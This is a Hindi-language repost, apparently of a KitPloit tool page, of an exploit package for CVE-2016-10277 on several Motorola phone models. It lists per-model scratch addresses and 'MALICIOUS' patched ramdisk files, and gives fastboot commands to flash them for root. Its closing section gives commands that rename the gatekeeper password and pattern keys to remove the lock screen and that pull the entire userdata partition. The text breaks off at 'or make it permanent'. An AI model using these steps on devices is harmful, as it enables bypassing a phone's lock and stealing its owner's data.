CVE-2016-10277 का शोषण

अधिक जानकारी के लिए: https://alephsecurity.com/2017/06/07/initroot-moto/

यदि आप केवल यह जांचना चाहते हैं कि आपका डिवाइस असुरक्षित है या नहीं, तो बिना किसी संशोधन के स्टॉक रैमडिस्क को फ्लैश करना अधिक तेज़ हो सकता है। यदि यह आपका मामला है, तो बस initroot-*-STOCK*.cpio.gz देखें।

Motorola XT-1033

• स्क्रैच पता: 0x11000000
• पैडिंग: 64MB
• स्टॉकरॉम पैडेड रैमडिस्क: initroot-xt1033-p64-STOCK.cpio.gz
• स्टॉकरॉम पैच और पैडेड रैमडिस्क: initroot-xt1033-p64-MALICIOUS.cpio.gz

Motorola XT-1040

• स्क्रैच पता: 0x11000000
• पैडिंग: 64MB
• स्टॉकरॉम पैडेड रैमडिस्क: initroot-xt1040-p64-STOCK.cpio.gz
• स्टॉकरॉम पैच और पैडेड रैमडिस्क: initroot-xt1040-p64-MALICIOUS.cpio.gz

Motorola XT-1068

• स्क्रैच पता: 0x11000000
• पैडिंग: 64MB
• स्टॉकरॉम पैडेड रैमडिस्क: initroot-xt1068-p64-STOCK.cpio.gz
• स्टॉकरॉम पैच और पैडेड रैमडिस्क: initroot-xt1068-p64-MALICIOUS.cpio.gz

Motorola XT-1069

• स्क्रैच पता: 0x11000000
• पैडिंग: 64MB
• स्टॉकरॉम पैडेड रैमडिस्क: initroot-xt1069-p64-STOCK.cpio.gz
• स्टॉकरॉम पैच और पैडेड रैमडिस्क: initroot-xt1069-p64-MALICIOUS.cpio.gz

Motorola XT-1078

• स्क्रैच पता: 0x11000000
• पैडिंग: 64MB
• स्टॉकरॉम पैडेड रैमडिस्क: initroot-xt1078-p64-STOCK.cpio.gz
• स्टॉकरॉम पैच और पैडेड रैमडिस्क: initroot-xt1078-p64-MALICIOUS.cpio.gz

Motorola XT-1514

• स्क्रैच पता: 0x90000000
• पैडिंग: 64MB
• स्टॉकरॉम पैडेड रैमडिस्क: initroot-xt1514-p64-STOCK.cpio.gz
• स्टॉकरॉम पैच और पैडेड रैमडिस्क: initroot-xt1514-p64-MALICIOUS.cpio.gz

रूट एक्सेस चलाना और जांचना:

• फ्लैशिंग और बूटलूप हल करना:

  root@kitploit:~

  git clone https://github.com/leosol/initroot.git
  cd xt1040 (or any other folder)
  use ./run-malicious.sh, run-stockramfs.sh and solve-bootloop.sh (if you have any bootloop)
  Or use the following commands:
  fastboot flash aleph $FILE_NAME
  fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
  fastboot continue
  #use the following to solve bootloops
  fastboot oem config fsg-id ""
  

• रूट विशेषाधिकार जांचना:

  root@kitploit:~

  root@debian-vaio:~/motoramfs/xt1040# adb devices
  List of devices attached
  * daemon not running. starting it now on port 5037 *
  * daemon started successfully *
  T0092020C5	device
  
  root@debian-vaio:~/motoramfs/xt1040# adb shell
  root@peregrine:/ # getenforce
  >Permissive
  

• रूट के साथ क्या किया जा सकता है?

  root@kitploit:~

  #remove authentication as pointed out by @kraftdenker (tested on xt1068)
  mv /data/system/gatekeeper.password.key /data/system/_gatekeeper.password.key
  mv /data/system/gatekeeper.pattern.key /data/system/_gatekeeper.pattern.key
  
  #dump your data
  adb pull /dev/block/platform/msm_sdcc.1/by-name/userdata
  
  #or make it permanent